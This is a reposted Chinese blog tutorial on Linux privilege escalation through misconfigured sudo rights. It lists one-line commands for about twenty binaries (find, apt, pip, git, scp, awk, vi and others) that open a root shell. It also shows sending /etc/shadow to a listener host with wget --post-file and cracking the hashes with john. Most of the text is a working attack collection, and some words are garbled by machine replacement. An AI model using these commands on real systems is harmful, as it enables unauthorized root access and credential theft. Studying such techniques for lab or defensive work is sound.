Linux常见提权方式

Linux常见提权方式taskset 命令用于设置进程 或线程 的处理器亲和性 ProcessorAff 可以将进程 或线程 绑定到特定的一个或多个 CPU 上去执行 而不允许将进程 或线程 调度到其他的 CP

大家好,欢迎来到IT知识分享网。

文章主要内容来自于:Linux提权——SUDO_sudo提权-CSDN博客

这里对部分内容进行了扩充,后续可能会再进一步完善

使用Sudo权限提升Linux账户权限

Sudoer文件语法

假如我们(root用户)要给普通用户test分配sudo权限,请输出vim /etc/sudoers打开文件进行编辑,找到root权限root ALL=(ALL:ALL) ALL,在下一行输入
test ALL(ALL:ALL) ALL,保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。

给普通用户设置 sudo权限

打开 /etc/sudoers 文件

vim /etc/sudoers 

给普通用户test 的wget命令添加sudo权限供下面进行提权测试

test ALL(ALL:ALL) /usr/bin/wget 

或者直接给于用户root权限,下面测试时不必来回修改

test ALL(ALL:ALL) ALL 

提权命令总览

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

sudo wget提权

kali上监听 nc -lvp 4444 > hash.txt 靶机上 /usr/bin/wget --post-file=/etc/shadow 192.168.0.114:4444 

在这里插入图片描述
在这里插入图片描述

使用john字典模式对其进行激活成功教程

/usr/share/john$ john --wordlist=password.lst /home/light/hash.txt 

sudo find提权

 SUID提权的思路就是运行root用户所拥有的SUID的文件,当其他用户运行该文件的时候就得获得root用户的身份。

使用find命令查看拥有suid权限的文件


  1. find / -user root -perm -4000-exec ls -ldb {} \;
  2. find / -perm -u=s -type f 2>/dev/null
  3. find / -user root -perm -4000-print2>/del/null

find 命令用来在指定目录下查​​​​​​​

找文件,这里使用“exec”来执行/bin/bash,以访问root shell

sudo find /home -exec /bin/bash \; 

在这里插入图片描述

sudo cat 提权

sudo cat /etc/shadow 

在这里插入图片描述

sudo apt 提权

TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl 

在这里插入图片描述

sudo zip提权

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash" 

在这里插入图片描述

sudo xxd提权

sudo xxd "/etc/shadow" | xxd -r 

在这里插入图片描述

同样是保存后,使用jhon激活成功教程哈希密码。

sudo time 提权

sudo taskset提权

sudo taskset 1 /bin/sh -p 

在这里插入图片描述

sudo git提权

第一种方法 sudo git help config 输入!/bin/sh 并回车执行shell 

在这里插入图片描述

第二种方法 sudo git -p help !/bin/bash 

在这里插入图片描述

sudo sed提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd 

在这里插入图片描述

sudo pip提权

TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF 

在这里插入图片描述

sudo ed提权

sudo ed !/bin/sh 

在这里插入图片描述

sudo tmux提权

sudo tmux 

在这里插入图片描述

sudo scp提权 
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y: 

在这里插入图片描述

sudo perl提权

sudo perl -e 'exec "/bin/bash";' 

在这里插入图片描述

sudo bash提权

bash -p 

在这里插入图片描述

sudo less提权

sudo less /etc/hosts !bash 

在这里插入图片描述

sudo awk提权

sudo awk 'BEGIN {system("/bin/bash")}' 

在这里插入图片描述

sudo man提权

sudo man man !bash 

在这里插入图片描述

sudo vi/vim提权

sudo vi :!bash 

在这里插入图片描述

sudo env 提权

sudo env /bin/bash 

在这里插入图片描述

sudo ftp提权

sudo ftp ! /bin/bash 

在这里插入图片描述

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/120934.html

(0)
上一篇 2025-10-26 16:26
下一篇 2025-10-26 16:33

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信